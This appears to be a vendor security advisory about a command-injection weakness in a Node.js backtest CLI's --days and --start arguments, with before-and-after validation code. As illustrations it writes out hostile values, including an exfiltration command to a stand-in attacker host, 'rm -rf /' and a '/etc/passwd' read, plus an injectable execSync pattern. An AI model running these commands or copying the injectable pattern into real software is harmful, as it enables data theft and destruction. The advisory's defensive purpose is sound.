Affected Versions
| Affected | not applicable (first-party code) |
| Fixed in | commit with input validation for --days and --start |
| Ecosystem | N/A |
| CVE / GHSA | not assigned |
| CWE | CWE-78 (OS Command Injection) |
Introduction
A critical command injection vulnerability existed in the backtest CLI's argument parsing logic. The tool's main() function processes --days and --start options by directly assigning command-line arguments to internal options without validation:
if (args[i] === '--days' && args[i + 1]) options.days = parseInt(args[i + 1]);
if (args[i] === '--start' && args[i + 1]) options.start = args[i + 1];
While the current implementation doesn't directly pass these values to shell execution functions, the lack of input validation creates a vulnerability when the script is invoked by upstream processes with untrusted input. An attacker who can influence these arguments can inject shell metacharacters, leading to arbitrary command execution.
The Vulnerability Explained
The vulnerable code accepted raw string input for --days and --start parameters:
for (let i = 0; i < args.length; i++) {
if (args[i] === '--days' && args[i + 1]) options.days = parseInt(args[i + 1]);
if (args[i] === '--start' && args[i + 1]) options.start = args[i + 1];
The parseInt() call on --days is particularly deceptive—it provides false confidence. While it converts "10" to 10, it also silently accepts "10; rm -rf /" as 10, discarding the malicious payload without actually neutralizing it. If options.days or options.start are later concatenated into shell commands or passed to execution functions, the original malicious strings can resurface.
The --start parameter is even more dangerous: it receives the raw argument string with no transformation whatsoever. A value like "2024-01-01; curl attacker.com/exfil" passes straight through to options.start.
Attack Scenario
Consider a web application that exposes backtest functionality through an API endpoint. The application might construct a CLI invocation like:
const { execSync } = require('child_process');
execSync(`node backtest.js --days ${userInput.days} --start ${userInput.start}`);
An attacker submitting {"days": "7; cat /etc/passwd", "start": "2024-01-01"} would execute arbitrary commands. Even without execSync in the immediate code, if options.days or options.start flow into any subprocess call, file operation, or database query, the injection propagates.
The Fix
The fix replaces blind assignment with strict validation for both parameters:
Before:
if (args[i] === '--days' && args[i + 1]) options.days = parseInt(args[i + 1]);
if (args[i] === '--start' && args[i + 1]) options.start = args[i + 1];
After:
if (args[i] === '--days' && args[i + 1]) {
const days = parseInt(args[i + 1], 10);
if (!Number.isInteger(days) || days <= 0 || days > 3650) {
console.error('Invalid --days value: must be a positive integer (<= 3650)');
process.exit(1);
}
options.days = days;
}
if (args[i] === '--start' && args[i + 1]) {
const start = args[i + 1];
if (!/^\d{4}-\d{2}-\d{2}$/.test(start) || isNaN(new Date(start).getTime())) {
console.error('Invalid --start value: expected date format YYYY-MM-DD');
process.exit(1);
}
options.start = start;
}
The --days validation uses parseInt() with radix 10 to prevent octal interpretation, then verifies the result with Number.isInteger() and bounds checking (1-3650). This rejects not only non-numeric input but also unreasonably large values that might indicate attack attempts.
The --start validation combines a strict regex /^\d{4}-\d{2}-\d{2}$/ with Date parsing. The regex alone isn't sufficient—"2024-99-99" matches the pattern—so the isNaN(new Date(start).getTime()) check ensures the date actually exists on the calendar.
Both validations terminate the process with a clear error message rather than silently truncating or accepting dangerous input.
Key Takeaways
-
parseInt()is not validation: It extracts leading digits and ignores the rest, making"10; rm -rf /"appear safe when it's anything but. Always validate the complete input string before conversion. -
Regex patterns need semantic verification: A format regex for dates (
\d{4}-\d{2}-\d{2}) doesn't guarantee a valid date. Combine pattern matching with semantic validation (likeDateparsing) for security-critical inputs. -
CLI tools are attack surfaces even without direct shell calls: Input validation belongs at the trust boundary, regardless of whether the immediate code executes shell commands. Data flows change, and assumptions about "safe" usage break.
-
Fail closed with explicit error messages: The fix uses
process.exit(1)with descriptive errors rather than continuing with sanitized or default values. This prevents ambiguous states and alerts operators to potential attacks.
How Orbis AppSec Detected This
Source: The args array from process.argv, specifically the values following --days and --start command-line flags
Sink: Potential downstream use in subprocess execution or shell command construction (the vulnerability exists in the lack of validation that would prevent injection if the parsed options are passed to execution functions)
Missing control: No input validation, format checking, or sanitization of CLI arguments before assignment to options.days and options.start
CWE: CWE-78 (OS Command Injection) — improper neutralization of special elements used in an OS command
Fix: Added strict validation with numeric range checks for --days and regex-plus-date-verification for --start, with explicit process termination on validation failure
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability demonstrates that command injection risks extend beyond obvious exec() and system() calls. Any code path that accepts untrusted input without validation becomes dangerous when that data might reach execution contexts—even indirectly, even in the future. The backtest.js fix shows the defense: validate early, validate strictly, and fail noisily when input doesn't match expectations.